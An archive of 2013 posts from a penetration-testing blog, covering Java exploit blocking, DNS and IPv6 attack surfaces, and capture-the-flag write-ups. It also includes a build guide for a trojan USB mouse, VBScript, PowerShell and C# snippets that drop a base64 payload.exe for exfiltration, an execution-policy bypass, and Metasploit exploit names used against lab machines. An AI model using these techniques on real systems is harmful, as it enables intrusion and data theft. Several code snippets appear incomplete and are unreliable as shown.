Monday, December 30, 2013

Effective blocking of Java exploits in enterprise environments


"Java everyday" was a joke about Java vulnerabilities, where almost every day a new Java zero-day was seen. Recently, the "Java 0-day spotted in the wild" is no longer in the headlines every week (see, but Java exploits are still the biggest concern regarding exploit kits and drive-by-download malware. In a recent Kaspersky report, they found that about 90% of the exploit kits were trying to infect the victim machine via Java.

The "typical useless" recommendations

Okay, so we have a problem called Java in the browser, let's look for a solution!

The two simplest "solutions" of all are:
  1. Update your Java.
  2. Remove Java from your browser.

Both solutions are non-solutions for enterprises. Still, a hell a lot of in-house-built applications need old Java - e.g. 1.6.x, which is end-of-life since February 2013.

Next recommended "solution" is: "Create separate browsers for Internet and intranet usage. The intranet facing browser supports Java, the Internet facing does not."
Although this sounds pretty effective, there are still a lot of problems with this approach. Now IT has to update two browsers instead of one. Users has to be trained, and in a web-security gateway (web proxy) one has to configure that this browser can go there but the other can't, etc. And still there might be Java applet based applications outside of the organization which has to be used by a bunch of people.

Next solution: "Use NoScript".
LOL. Teach NoScript to 50000 users, and see how they will learn the "Allow all this page" first, and "Allow scripts globally" the next time.

Next solution: "Click-to-play"
I think this is a good countermeasure, but from now on the exploit maker either needs an exploit to bypass the click-t-play, or to socially engineer the user to click so this is not a bulletproof solution either.

The solution

Okay, so far we have five totally useless recommendations. The next one seems pretty good at the first sight: "White-list websites which need Java, and only allow Java to these sites."
Let's dig deeper. How can we "white-list" sites? This is not supported from Java out-of-the-box. In a decent web-security gateway one can create white-lists, but we have to define a condition for Java traffic. A common misconception is to say: let's identify Java traffic for .class, .jar, and .jnlp file extensions, and only allow Java for white-listed websites. Although this will block some exploits, but not all.

Here is a screenshots from the very popular Neutrino exploit kit:

This is the .jar exploit. As you can see, there is no extension at all in the HTTP request (e.g. .jar). But what about the Mime-type in the response? It is video/quicktime… But it is the jar exploit, with a detection of 2/49 on Virustotal. And, yes, I'm aware of the fact that Virustotal statistics are useless and AV has other possibilities in the exploit chain to block the malware being dropped. Or not :)

Two things can be flagged here as Java: the User-agent and the Mime-type in the request. I recommend checking for both. The User-agent can be checked via regular expressions, and if one matches, flag it as Java request.

Payload delivery

Although not closely related to the exploit, but the malware payload delivery is interesting as well. After successful exploitation, the exploit payload downloads the malware from the the same site. In a normal web-security gateway, executables can be flagged, and blocked for average users. Now look at the Neutrino exploit kit:

No executable extension (e.g. .exe, .dll), the response Mime-type is faked to audio/mpeg, and even the malware is XOR encrypted with a 4 character key (I let the exercise to the reader to guess the XOR key). Even if the web-security gateway looks for file headers to identify executables, it won't find it. The malware is decrypted only on the victim, where the AV might or might not find it. Although the User-agent here is Java again, be aware of the fact that at this stage, the User-agent can be faked by the exploit.

Update 2013.01.02: I forgot to mention the case of SSL interception. Although in an enterprise environment it is a good idea to intercept SSL traffic (except on finance, webmail, healthcare, etc. sites) in order to hunt for malware (and block Java), but if you don't do this, it is not a problem. There is again a misconception that the User-agent of the client browser is not visible in an SSL connection on the proxy (web security gateway). Below is a screenshot to disprove this statement. In case of a transparent proxy, yes, there might be no user-agent.

Mobile devices

If we white-list sites on the web-security gateway, and block any other traffic when we see Java based User-agent or content-type, we are good. Well, almost. As long as the client is in the enterprise… What you can do here is to enforce the mobile devices the use of VPN every time it is outside of the corporate network, and only connect it to the Internet through the corporate web-security gateway. I know, this is still not a solution, but I can't think anything better at the moment. Leave a comment if you have a solution for this.

Now the only Java threat is that someone hacks one of the white-listed websites in a watering hole attack, and serves the java exploit from the same page. Not a likely attack, but possible for a real advanced threat.


If you are a CISO (or has the same position), you should proactively block Java exploits. White-listing websites which require Java is not impossible. Not a lot of sites use Java applets nowadays anyways. I would say average users see Java applets more in an exploit than in a legit site...

You can flag Java traffic via User-agent regular expression, or content-type (in the request), or both. Special care needs to be taken on mobile devices, which leave the enterprise on a regular basis. Of course, you will need other protections too, because this is not a 100% solution.

And if you are a plain home user, you can safely delete Java from your browser, or use a decent Internet Security Suite which can effectively block Java exploits.

Tuesday, December 10, 2013

DNSSEC, from an end-user perspective, part 1

We all know since at least 1990, that the DNS protocol is insecure. Yet DNS is still the basis of almost all Internet communication. The biggest problem with DNS is that a malicious attacker can redirect victims, where victims try to connect to e.g., but instead of this they connect to the attackers website. There are a lot of different ways to achieve this attack.

DNS cache poisoning the DNS server, "Da Old way"

The attacker forces the victim's DNS server to resolve a domain where attacker is the authoritative name server, and the attacker sends additional information to the DNS server that he is also the authoritative name server for This information is cached and used later when victim resolves

It is easy to protect against this attack, any decent DNS server should be able to protect against this attack by dropping these additional information from DNS responses.

DNS cache poisoning, "Da Kaminsky way"

An attacker can initiate queries to the victim's DNS server, and in the meantime "flood" the DNS server with fake responses. The server will accept the fake response, if the following conditions are true: 
  • the DNS server receives the answers on the same IP as it expects (this is not an attack limitation), 
  • the DNS server receives the answer to his question (again not a limitation, an attacker knows what he wants to attack),
  • the random(?) port used to send the query matches the answer, 
  • the random(?) 16-bit(!) unique transaction number in the answer matches with the query.
If the last two is not random, an attacker can easily poison the server in a matter of seconds. Or if your DNS server is behind NAT, the NAT can remove the randomness :-O
To protect yourself against this, you should randomise the source port and unique identifier better, and disable your DNS server as being an open recursive resolver.

Rogue DNS server via malware

This is pretty common in both banking trojans, adwares, etc. The malware reconfigures the users configured DNS server to use a malicious one, either in the local OS settings or in the home router.

To protect against this: don't let malware in your environment ;)

ISP hijack, for advertisement or spying purposes

This is the worst of all. ISP's hijack non-existing domains, and display advertisements. And because they broke the RFC, it will break a lot of your applications. I bet ISPs still think about this as a good idea :(

Sometimes the ISP hijacks your connection because the government want to spy on your communication, or hijack it. Use TOR wisely if you don't want to be a victim.

Captive portals

Sometimes captive portals use DNS hijacking to redirect the users to the default login page. Although it breaks things, it is still better than the ISP solution, because it is only a problem at the beginning of the connection, and not permanently.

Pentester hijacks DNS to test application via active man-in-the-middle

Although this is not malicious at all (developers might think otherwise), but a lot of application security tests (thick clients, mobile applications) can only be carried out via DNS spoofing. Application security testers can easily do this attack, because they can place the host machine in a network segment where they can do an active man-in-the-middle attack, and respond to DNS queries sooner as the official DNS server. Or simply set the DNS server to their own DNS server.

Malicious attacker hijacks DNS via active MITM

This is similar to the previous one, but the goal is different. Although an attacker with active man-in-the-middle position can attack the victim in 1000 different ways (like SMB relaying, capturing LM/NTLM network hashes, modifying clear-text traffics, etc...), DNS spoofing is one of them.

Having access to the DNS admin panel and rewriting the IP

I believe this is going to be a new trend. This attack is the most effective one, and the hardest to prevent. Usually it is not the admin panel what is being hacked, rather an admin's password gets stolen, or the password reset is hacked.

You as a client can do three thing to protect against this attack:
  1. Choose a decent provider, and prey :)
  2. Put a registry lock on your DNS settings (serverDeleteProhibited, serverTransferProhibited, and serverUpdateProhibited). Although this additional layer is good enough today, I bet some motivated attackers will be able to successfully attack this. The attacker only have to:
    • know the phone number of the client, which will be called by the registrar
    • hijack the call (social engineering the phone company)
    • provide an individual security phrase (social engineering the client)
  3. Or run your own DNS server (this is not a solution for everybody)


Although almost all attacks can be mitigated one way or another, there was a desperate need to solve this DNS spoofing issue once and for all. And so it begins, DNSSEC has been developed.

In part 2 we are going to investigate DNSSEC, what you can expect from it, and what you can't.

Friday, November 29, 2013

Secure IPv6 deployment checklist: think twice, deploy once

Before deep diving into IPv6, I'm going to summarize my views on IPv6:
  1. Start now(!) to plan your IPv6 deployment - in case you have not done so.
  2. IPv6 is the future! There is no other choice.
  3. NAT is the root of all evil.
IPv6 is coming. We've heard this 10 years ago as well, but it is really coming now. If you live in Asia, you can see this in the real life. If you live in Europe or USA, you can feel the pain of triple NATed devices.

Deploying IPv6 is not a binary task, you can do it in small steps. Get a public IPv6 address space, assign IPv6 addresses to your servers (e-mail, web, DNS).

Great, you are now ahead of the world!

Now what about clients who want to access IPv6 web or email? You are lucky if you use an IPv6 compatible web/email proxy, because the clients can still stay on IPv4.

Now what about your clients/servers accessing IPv6 services on the Internet directly (without a proxy)?
  • If your network supports IPv6, your clients can directly access IPv6 services. 
  • If your network does not support IPv6, clients can still use tunneling protocols, e.g. ISATAP for Windows clients.
This might sound easier than it is. But do you have the budget/people/management support to do this?

Anyways, before you deploy IPv6 in your corporate environment, you have to think about the security issues. The next list is far from comprehensive or complete. Beware, here be dragons!

It is a myth that IPv6 is more secure than IPv4. The only practical security addition in IPv6 is called IPSEC, and has been backported to IPv4 many years ago.

Most networking people are not familiar with the new terms, best practices introduced with IPv6. It is important to educate the networking and security personnel about IPv6, and let them play with the technology.
IPv6 can reintroduce basically all security vulnerabilities which has been mitigated in IPv4:
  • If the vulnerability is not in the IP layer, the vulnerability will stay there. Although it sounds obvious, most people tend to forget this. Your MS08-067 vulnerability won't magically disappear if you use IPv6. OK, but you closed port 445 on the firewall. Oh crap, it is open on IPv6...
  • Man-in-the-middle attacks: Organizations have already guarded themselves against ARP spoofing and DHCP server spoofing with mitigation techniques like DAI (Dynamic ARP Inspection) and DHCP snooping in the world of IPv4. The only thing which has been changed is the name of the attacks and defenses. Search for ICMPv6 attacks, and Neighbour Discovery attacks.
  • Source routing: Source routed IPv4 packets has not been seen for a while bypassing firewalls, but "luckily" the IPv6 standard reintroduced source routing in IPv6, in the name of Type 0 Router Headers. You should check whether your OS/network equipments support Type 0 Router Headers. If you have time, play with Scapy to test it.
  • Blocking ICMP: Let's face the truth: In order to effectively use IPv6, some ICMPv6 messages has to traverse through firewalls. Like it or not, you can't hide your clients anymore.
  • Router advertisement: Let's play a game. Go into any network, and start broadcasting IPv6 router advertisement packets in the network. Guess what, the clients are going to connect to you, and you will be the default IPv6 gateway for the clients. If there is no web proxy configured on the client, this means all Google, Youtube and Facebook traffic will be routed through your box, because IPv6 is preferred over IPv4. This can be the next generation WPAD attack :) If you don't want to be vulnerable, better search for RAGuard or similar solutions.
  • Translation/tunneling: If all your network equipment support IPv6 and configured to use it, you are lucky, because your clients can use native IPv6. Otherwise your clients has to use 6to4/ISATAP/Teredo/NAT64 or whatever IPv6 translation/tunneling. Do you know these protocols? Do your security products know these protocols?
  • Dual stack: Your clients have to use both IPv4 and IPv6 together for a while. Be aware of the additional operating costs of maintaining 2 network protocol parallel.
  • Fragmentation: At the first era of IDS/IPS devices, one of the main bypassing technique was IPv4 fragmentation. Have you checked whether your current solutions (IPS/IDS) parse fragmented packets the same way as your protected assets?
  • The IPv4 implementations have been tested thoroughly, and not much implementation bug is left there. But IPv6 implementation bugs, there will be a lot from them. Most of the programmers still don't know the basics about secure coding practices.
  • IPv6 evercookie: Now that your clients don't have the same NAT IP, they static IP can be used to track them online. Luckily Microsoft solved the issue with IPv6 privacy extension, so clients will use temporarily IPv6 addresses to communicate with the Internet. Great, now how do you know in your security logs, which IPv6 address is which client???
Do your current security devices fully support IPv6? Have you tested this?
  • Hardware Firewall (with all dual stack/translation/tunneling nightmare)
    • Do you block all outgoing UDP from the clients, especially 3544?
    • Can you maintain rules for both IPv4 and IPv6?
    • If your remove an IPv4 rule, do you remove the same rule for IPv6?
  • Log collection, log analysis, correlation:
    • Do the logs contain IPv6 adressess? 
    • Is it parsed by the SIEM application? 
    • Do you know that the DHCP IPv4 address is the same asset (workstation) as the IPv6 address with privacy extension? 
  • IPS, IDS:
    • Can these applications monitor/block all kind of IPv6 translation/tunneling protocols?
  • WAF:
    • Is your WAF IPv6 ready/aware?
    • What about fragmentation?
  • VPN:
    • Can your clients connect to IPv6 services through VPN?
    • Is your IPv6 VPN firewall rule as restrictive as the IPv4 one?
    • If you remove a rule on IPv4, do you remove the same in IPv6?
  • Software firewall:
    • Is your software firewall IPv6 ready/aware? 
    • Does it understand all translation/tunneling protocols? 
    • Does it filter incoming traffic to the Teredo interface?
  • AV/endpoint protection:
    • Is your AV/endpoint protection IPv6 ready/aware?
    • What about files downloaded via IPv6, is it scanned the same way as IPv4?
  • DLP (if you are in the 1% who actually bought one and enrolled it in production):
    • Is your DLP IPv6 ready/aware? 
    • Can it monitor tunneled traffics?
And last but not least the bad news: you are already using IPv6, if you have Windows7 notebooks leaving your company, not having access to the domain controller. Or have you checked your servers link local IPv6 addresses recently? Do you have Windows2008 cluster? It is using IPv6 already!

The good news? In the not so far future (I estimate 2050) you can turn off your last device with IPv4 address, and forget all the nightmare around NAT and dual stack. Because remember: NAT is not a security feature. It never was.

Saturday, November 9, 2013

Changes on the blog

I have made some changes on the blog pages recently.

You now have a page with interesting stuff. As the name suggest, we will put all the interesting stuff we find related to IT security. I mean really, everything: videos, whitepapers, tools, etc. If you have something cool and you want it to share with us, you can also send a message/email/whatever and we will check it out.

Did I wrote "we"? Well yes, the other change I have made is that I invited my friend Z, to contribute to the blog with cool thoughts, posts and articles. If this thing works and we actually manage to post something useful once per month at least, we will probably invite other cool people to help us out. :)

Friday, November 8, 2013 2013 talk

Hey ppl! :)

I know the blog seemed a little dead for a while, but it was because I gave a talk at with @woff_itsec and we had to prepare lots of things to make a nice presentation.

Check out our Prezi:

There was a camera recording all the talks, so theoretically, there will be a video as well... I will update the post once I have it.

Friday, October 18, 2013

Still alive...

Hey! I just wanted to make a quick blog post, letting everyone know that the blog is not dead, but I was very busy lately.

Lots of cool things will come after 2013. Until then, here's something funny I made when I was tired:

Monday, September 2, 2013

Making a PC mouse HW Trojan


After making the USB flash drive HW Trojan, I decided to move forward, and replicate Netragard’s Hacker Interface Device [1]. It was easier than I first thought and since I didn't find a detailed article on how to make one (the best ones [2] [3] were in French, but I think the vast majority of people prefer English), I decided to create this blog post, so everyone can easily make it for a nice prank or for a cool social engineering attack during a penetration test.

Again, I am going to assume that you have at least some basic experience with soldering. If you don't have, take a look at Limor Fried's (a.k.a. ladyada) page about the basics of soldering or Sparkfun's Soldering Basics (takes about 40-30 minutes practicing to learn how to solder through hole components).

Parts needed

  • Teensy 2.0 or Teensy 3.0 (I  used the Teensy 2.0, because the time I made this Trojan mouse, Teensy 3.0 was not released.)
  • USB HUB (The smaller the better. Also, you don't want to have one of those long ones - the ones having the ports lined up next to each other - because they most probably won't fit into the PC mouse. I used the HUB-UFO 4 for example because of the PCB size.)
  • USB A - USB MINI-B cable (Actually, we will only need the USB MINI-B part to connect the Teensy, so you can also use a USB MINI-B type plug (male) Cable connector and solder the wires to that.)
  • A small piece of wire (You can even scavenge this from the USB cable, but it might be better to have a different color form red, white, green or black - since these are usually the colors of the USB cables and it is a good idea to distinguish this specific wire from them.)
  • USB PC mouse (The fancier the better. Or, the one that matches the mouse type used by your target.)

Here is a picture of the most important parts together, except the USB cable (the USB HUB was already "stripped-down"):

Tools needed

  • Hot air solder station (for desoldering the USB ports from the USB HUB)
  • Solder (for soldering, of course)
  • Soldering iron (yep, this one is also for soldering)
  • Desoldering tool or (de)solder braid (if you are clumsy and make a soldering error, like an unwanted short circuit)
  • Flush/diagonal cutters (for cutting the wires)
  • Third hand with Magnifying Glass (you're gonna need it, otherwise you would have to grow a third hand :) )
  • Good light (without this, you won't be able to solder those tiny little wires...)

STEP 1: Preparing the USB HUB

So the basic idea is to:
  1. detach the USB cable from the PC mouse, than
  2. disassemble the USB HUB by de-soldering its USB cable and replace it with the PC mouse USB cable and finally,
  3. desolder the USB host connector ports from the HUB and solder the PC mouse to one USB port and also solder a USB MINI-B connector to another USB port so you could connect the Teensy to the USB HUB.
Here is a picture for the wiring of the USB HUB:

I cannot give more details on how to disassemble and desolder the USB HUB, since it is specific to the model you will use. For the HUB UFO 4 I used, the PC mouse USB cable was soldered to the upper rigth corner of the picture, and on the left and rigth side, you can see the PC Mouse and the USB MINI-B connector soldered to the removed USB host connector ports (on the bottom, you can see the holes of the USB connector I removed from the HUB).

STEP 2: Connecting a Teensy pin to the left mouse button

This step is optional, but I strongly recommend doing it since by soldering a wire to the left mouse button's micro switch, you will be able to detect if someone is using the computer by checking if the mouse button was pushed or not.

A micro switch can have different number of leads, but in a PC mouse they usually have 2 or 3 legs. Again, this is something you need to figure out on your own, because it depends on the PC mouse you use, but I have made a few pictures to give you an example.

The first one is showing the PC mouse PCB, with the wire soldered to the left mouse button's micro switch:
Next, the Teensy form its bottom, with the wire soldered to the D3 pin:
Same as the above, just from the top:
And the two parts together:

STEP 3: Putting everything together

Once you have everything soldered together, all you have to do is connect the Teensy to the USB MINI-B cable and stuff everything into the PC mouse :) This last momentum can be tricky and you might want to use some (insulation) tape to keep things from moving away while you close the mouse.

Here you can see everything assembled together, before putting them into the PC mouse:
And the "stuffed" mouse should look something like this:

Final product

And again, that's all! :) As I promised in my previous post, I will make a detailed blog post on how can you program such a device and what evil payloads you can use. Check out the pictures I have made from the final product as well as the additional resources on malicious HIDs and Trojan PC mice!

The Teensy and the USB HUB fits perfectly into a PC mouse, even in a tiny one like this (the Teensy board is there to give you and idea of the size of the mouse):


[1] Netragard’s Hacker Interface Device (HID)

[2] Une souris USB malicieuse dopée au Teensy (in French)

[3] La souris malicieuse v2 (on remet ça !) (in French)

[4] Trojan mouse

[5] Create your own malicious keyboard or mouse!

Sunday, August 18, 2013

Rooting Samsung Galaxy S2 I9100 XWLSW Android 4.1.2 stock firmware

These are more just notes for myself, but maybe someone else will find it useful.

So I got a Samsung Galaxy S2 I9100 to play with and it had Android 4.0.4 (Ice Cream Sandwich) on it which was pretty easy to root with CF-ROOT, but I wanted to use to latest official Android firmware for this phone, which is by the time of this post is Android 4.1.2 (Jelly Bean).

Auto update was not an option, since I had CF-ROOT on it, so I had to find a stock firmware and use Odin for the update. Getting a stock firmware was the easy part. You can get it for example here: So in my case, I needed one from here: and for me it was a I9100XWLSW.

So you just download, extract the files, and use Odin3_v1.85 to Download the stock firmware. You can easily find a howto on this, but here's one for example:

Next, rooting the 4.1.2. Again, lots of howtos can be found on this too, but most of them suggest you to use Odin3_v3.07. Well, when I tried it, SuperSU was not correctly installed, and the whole system got a little slow, so I tried with Odin3_v1.85 and it worked like a charm.

So basically you can follow this howto: but instead of Siyah-s2-v6.0b4.tar I would recommend using the SiyahKernel S2-v6.0beta5 which you can find here:

And that's all! Happy hacking!

Wednesday, August 14, 2013

Cyberlympics 2013 Round 3 summary and results

So Round 3 is over. It was pretty much the same as last year; VPN connection into a network with the target machines, 2 Backtracks as pentest machines and about 3 hours to flag / report as many systems and findings as we can. :)

Just real quickly, one possible way to flag the machines were these:
  • (STEVE-WORKSTATION) - Metasploit: exploit/windows/smb/ms08_067_netapi >> SYSTEM
  • (GREG-WORKSTATION) - greg reused password (same password as on, word readable /etc/shadow, udev user's password hash was cracked, udev user was in sudoers >> root
  • (STATLER) - Metasploit: exploit/windows/smb/ms08_067_netapi >> SYSTEM
  • (ANIMAL) - Metasploit: exploit/linux/mysql/mysql_yassl_getname or exploit/linux/mysql/mysql_yassl_hello >> root
    Not sure which exploit is the one, because we tried it the hard way: the mysql root user had the password "password" and we tried writing files with it.

The jump host was (STEVE-WORKSTATION), 2 more machines were accessible from here:

  • (WALDORF) - ??? No one managed to p0wn this machine in the European round! (If you know what was the way to pwn, please comment!)
    UPDATE: Thx to San's comment, the solution was: Logging into the box with steve's(or greg's) credentials and then privilege escalation with a kernel exploit >> root
  • (FOZZIEBEAR) - Metasploit: exploit/windows/smb/ms04_011_lsass >> SYSTEM

Other artifacts were like: user password hashes, sensitive information in text files, ssh keys, missing patches, etc.

I also made screenshots of the last moments of the finals:

Unfortunately, this was not enough for us to get into the finals. We ended up at the 5th (?!) place (we still trying to figure out how) but the end result on the European Round 3 was:

1. SectorC – Netherlands
2. Pruts.ERS– Netherlands
3. PRAUDITORS –Hungary
4. nanosloopers – United Kingdom
5. – Hungary
6. Hack.ERS – Netherlands

Of course we were a bit sad, but hey, it's only a game. We had fun and we will try again next year for sure ;)

Friday, August 2, 2013

Regular expressions for IPv4 addresses and CIDR ranges

I needed these recently, and I thought it might be useful for someone else too.

IPv4 address:

IPv4 CIDR ranges:

Wednesday, July 31, 2013

One year

Yeeeay! :) I have started this blog exactly a year ago! Wow :)

It's hard to find the time to write posts, right now I have around a dozen drafts but looking at the blog statistics and the more and more comments You guys write, I really feel even more motivated to write interesting stuff for You, dear readers :)

So thanks for reading, thx for commenting and stay tuned for more security posts coming up soon!

Tuesday, July 30, 2013

Binary deployment with VBScript, PowerShell or .Net csc.exe compiler


About six months ago I had an engagement where my task was to exfiltrate data from a workstation on some sort of storage media. Given that I already knew about such techniques for Arduino [1] and Teensy [2], I thought it would be a great opportunity to try them out in real life too.

As a first step I had to bypass a host port protection solution, which was not easy, but I managed to find a way to defeat it. After that, I was good to go to use a Teensy to deploy the exiltrator binary from [2].

And this is where all the troubles have started. In the original blog post [2], the Teensy would type out the exfil.vbs VBScript that has the exiltrator binary in base64 encoded format. But when I tried to execute the VBScript, I got the following error message:

Sript:  C:\...\exfil.vbs
Line:   4
Char:   1
Error:  Error Parsing '<base64_stuff_here>' as bin.base64 datatype.

Code :  80004005
Source: msxml3.dll

It turned out that the Windows XP system where I tried to do the exfiltration was unpatched, having a bug in msxml3.dll which prevented me from converting the base64 encoded payload into binary. :D (seems like there are patches you shouldn't apply...)

But I did not panic, because very thoughtfully, the machine had PowerShell installed (I know, right? :) ), so I re-wrote the VBScript in PowerShell, but I was stupid, and I did not thought (but probably I should have) that PowerShell is using the very same freaking msxml3.dll for base64 decoding...

Still no need to panic, because whenever a Windows box has .Net Framework installed (and I think most of them do have), by default it is shipped with a nice command line compiler called csc.exe so you can write a C# code to convert a base64 payload into binary. :)

Of course, normally you need just one of these methods, but as you can see, sometimes only one of them will work, and it's handy to know each of them.

Binary deployment


So the original exfil.vbs script is this:

Dim a,b
Set a=CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
Set b=CreateObject("ADODB.Stream")
b.Write a.nodeTypedValue
b.SaveToFile "payload.exe",2

Just execute it, and you will have your payload.exe next to the script.


Second version is in PowerShell:

Add-Type -an System
Add-Type -an System.Windows.Forms 
$c = [System.Convert]::FromBase64String($e)
[System.IO.File]::WriteAllBytes("$(get-location)\payload.exe", $c)

To execute the script, you can use any PowerShell script execution restriction bypass method you want. My favorite one is this:

PS C:\temp> gc .\script.ps1 | iex

Where the cmdlets are:
  • gc is Get-Content to read the contents of the PowerShell script
  • iex is Invoke-Expression to execute the script line-by-line (so basically execute the script :) )

.Net C# compiler

Last but not least, you can use csc.exe that is shipped along with .NET Framework.

The following C# needs a text file with the base64 encoded payload in it, but you can modify it to have it in a variable. I got this from a colleague and I was lazy to change it, so I just put the base64 payload into a comment and copied it manually into a file.

You can also make the variable names shorter, so it takes less time for the Teensy to type in, but I think the most time consuming is to type in the base64 payload.

using System;
using System.IO;


class Base64Decoder
   static void Main(string[] args)
      StreamReader reader = new StreamReader(args[0]);
      string line = reader.ReadLine();

      byte[] toDecodeByte = Convert.FromBase64String(line);

      FileStream outfileStream = new FileStream(args[1], FileMode.Create);
      outfileStream.Write(toDecodeByte, 0, toDecodeByte.Length);

Compile it, and convert the payload:

C:\temp>%Systemroot%\Microsoft.NET\Framework\v3.5\csc /out:C:\temp\d64.exe c:\temp\d64.cs
Microsoft (R) Visual C# 2008 Compiler version 3.5.30729.5420
for Microsoft (R) .NET Framework version 3.5
Copyright (C) Microsoft Corporation. All rights reserved.

C:\temp>d64.exe payload.txt payload.exe

And that's all! :) Three easy ways to deploy a binary on a Windows box!


I quick update, since I forgot to write about the HW I used. It's plain simple actually, just a Teensy 2.0 with a Teensy SD Adaptor, connected to the PC with an USB A type to USB MINI-B type cable.

Every detail on connecting a Teensy with the SD Adaptor can be found in my "Making a USB flash drive HW Trojan" blog post, but just as a quick recap, here is the picture for the wiring:


[1] Leaking data using DIY USB HID device

[2] Data exfiltration using a USB keyboard

Monday, July 29, 2013

Cyberlympics 2013 Round 2 summary and results

Cyberlympics Round 2 is now over :). I think it was a bit less fun than last year, but it was also better this way cause it was more realistic.

European Round 2 results were:

1. SectorC – Netherlands
2. Hack.ERS – Netherlands
3. – Hungary
4. nanosloopers - United Kingdom
5. Pruts.ERS – Netherlands
6. PRAUDITORS – Hungary

Congrats to all teams, again, especially to PRAUDITORS! We have 2 Hungarian teams in round 3! :)

I was willing to make a nice write-up this time as well, but since we only saw our current points and made fixes in parallel, sometimes it was not possible to figure out what gave us points and what didn't.

We had one Windows 2003 and a Fedora 16 box and we had to harden those after signing in with the CyberNEXS client.

For the Windows 2003, what we did:

  • Setting password policy
  • Setting audit policy
  • Installing Windows updates
  • Killing listening processes
  • Stopping unnecessary services
  • Getting rid of suspicious programs, like:
    • PHP-shell ( C:\Inetpub\wwwroot\iis\index.php
    • Best Free Keylogger: C:\Program Files\Common Files\Services\Windows Updater\wusched.exe
    • netcat, pwdump:  C:\WINDOWS\
    • Netcat:  C:\Inetpub\wwwroot\images\letmein.exe and C:\Documents and Settings\Administrator\Local Settings\Temp\1.exe
    • ??? (we don't know what was it, but looked suspicious):  C:\Documents and Settings\Administrator\Local Settings\Temp\2.exe
    • MSIZAP (not sure) : C:\msizap.exe
    • ProRAT (not sure): C:\Program Files\Mozilla Firefox\firefox.exe

For the Fedora 16:
  • Changing root and toor user password
  • Removing backdoor user (username was bd, or something like that)
  • iptables rules
  • sshd settings
  • sysctl.conf settings
  • rsyslog settings
  • samba settings
  • Disabling vsftp, anonymous ftp, stopping the services
  • Stopping 3rd party irc service (/opt/Unreal3.2, possibly backdoor) and deleting it
  • Removing netcat bakcdoor from rc
  • Disabling telnet 
  • Disabling sudoers nopasswd
  • Setting up a groub password
  • Fixing /etc/shadow* files' world readable/writeable rights
  • Full system upgrade

End results were: 19/20 for WIN2003 and 9/11 for Fedora, so it was quite good. :)

I think I am not telling big news, but every team we have talked tried to reverse engineer some way the CyberNEXS client too :) I guess it's just a normal way of thinking in a hacking competition ;)

Tuesday, July 16, 2013

Cyberlympics 2013 Round 1 write-up and results

I really enjoyed the first hour of this round, since we only got a 22 MB pcap file, and 10 questions, and we had to do a little investigation. But the last 2 hours were miserable. Question 10 was basically 5 challenges, but pretty hard. We only managed to find the solution for 2 and got 1 more from another team, meaning that the best scoring team was only able to solve 3 out of 5...

Srsly, why do we need these challenges? A harder forensics challenge would have been much better... maybe next year. BTW, if you want to practice forensics challenges of pcap files, check out the Honeynet Project Challenges!

Basically we used 3 tools: NetworkMiner free edition, xplico and JPK for the challenges.

Quick write-up of the Round 1 solutions (If you see any missing stuff, please comment or write it to me! Thx!):

QUESTION 1. What files were transferred to/from the victim?

Source host: [WORKGROUP <1D>[2K3]] (Windows)
Source port: TCP 20
Destination host: [X]
Destination port: TCP 52625
Protocol: FTP
favicon.ico (frame: 16995, 7002 bytes) (frame: 17028, 923 bytes)
RPWD.RTF (frame: 17045, 232 bytes)

Source host: [X] 
Source port: TCP 52644 (frame 19523), TCP 52872 (frame 26964), TCP 52877 (frame 27204), TCP 52878 (frame 27516), TCP 52879 (frame 27649), TCP 52880 (frame 28109), TCP 52881 (frame 28126), TCP 52882 (frame 28143), TCP 52883 (frame 28161)
Destination host: [WORKGROUP <1D>[2K3]] (Windows)
Destination port: TCP 20
Protocol: FTP
PwDump7.exe (frame 19523, 77 824 B)
sdb.exe (frame 26964, 139 264 B)
BFK.exe (frame 27204, 274 432 B)
MISINET.OCX (frame 27516, 115 920 B)
convertel.dll (frame 27649, 459 776 B)
inetlog.txt (frame 28109 240 B)
keylog.txt (frame 28126, 2 B) 
needtosend.log (frame 28143, 0 B)
sclog.txt (frame 28161, 0 B)

CMD log:
C:\Documents and Settings\John\Desktop>copy C:\inetpub\ftproot\GMTMP
C:\Documents and Settings\John\My Documents>copy RPWD.RTF C:\inetpub\ftproot\GMTMP
C:\Inetpub\ftproot\GMTMP>net share >> favicon.ico
C:\Inetpub>pwdump7 >> C:\inetpub\ftproot\GMTMP\favicon.ico

QUESTION 2. What malware/unauthorized programs were installed?



Secure_BackDoor (crypted netcat)



QUESTION 3. What directory were files transferred to or from?

C:\Documents and Settings\John\Desktop
C:\Documents and Settings\John\My Documents
C:\inetpub\ftproot\GMTMP - DONE

QUESTION 4. What is MD5 hash of files transferred from the web server? (Use lowercase letters)

favicon.ico (frame: 16995, 7002 bytes) - 993a36908782cb531c5e6f9f40c3102d (frame: 17028, 923 bytes) - 0492a385f6db8a947f3434e2683e8353
RPWD.RTF (frame: 17045, 232 bytes) - 0ecc217d8cff2fdc366450e56a92282c

QUESTION 5. What is the router password?

It was in the file RPWD.RTF that we extracted from the pcap file. Once opened, the following content was found: “password 7 0139562C753F2E5C067E16”. The hash “0139562C753F2E5C067E16” was cracked, the plain text password was: “J0HNTH3GR8”

QUESTION 6. What was the admin doing during attack?

This was kinda' strange, because we was a lot of site addresses, but we only got point for ...

QUESTION 7. What were user passwords changed to?

The following commands were issued:

C:\>net user administrator GMODEOWNZYOU
C:\>net user John GMODEOWNZYOU
C:\>net user nonadmin GMODEOWNZYOU

QUESTION 8. Were there any suspicious users on the machine?

List of users:


And user "badmin" was the answer.

QUESTION 9. What file did the attacker hide info in that he later extracted?


QUESTION 10. What do the secret messages decode to?

The file had 5 .txt files:


This was NOT real morse code, it had to be converted into binary (- is 0 and . is 1), then onvert binary to ACSII, then you have a Base64 encoded text, and if you decode that, you will get:



No clue, if you got this, pls comment or send it to me! Thx!


You need to pick up every 3rd letter, starting with T, and you will get:



So we were not able to solve this, but big thanks to santrancisco (see comments), I know now that the solution was Railfence cypher with Rails = 8.

A nice Railfence online solver is here:





So, you start getting you hexa from the lower left corner, reading upwards and basically converting the columns into lines and then convert hex to text, and you will have:


Aaand that's all! :)

The top 10 teams moving on to Round 2 to represent Europe are:

1. Hack.ERS - Netherlands
1. Pruts.ERS - Netherlands
2. nanosloopers - United Kingdom
2. nx - Finland
3. - Hungary
4. 0xD0A - United Kingdom
4. SectorC - Netherlands
5. Blah - Czech Republic
6. mici-cu-b3re - Romania
7. PRAUDITORS - Hungary

Congrats to all teams, specially to PRAUDITORS! We have 2 Hungarian teams again in round 2! :)

Monday, July 15, 2013

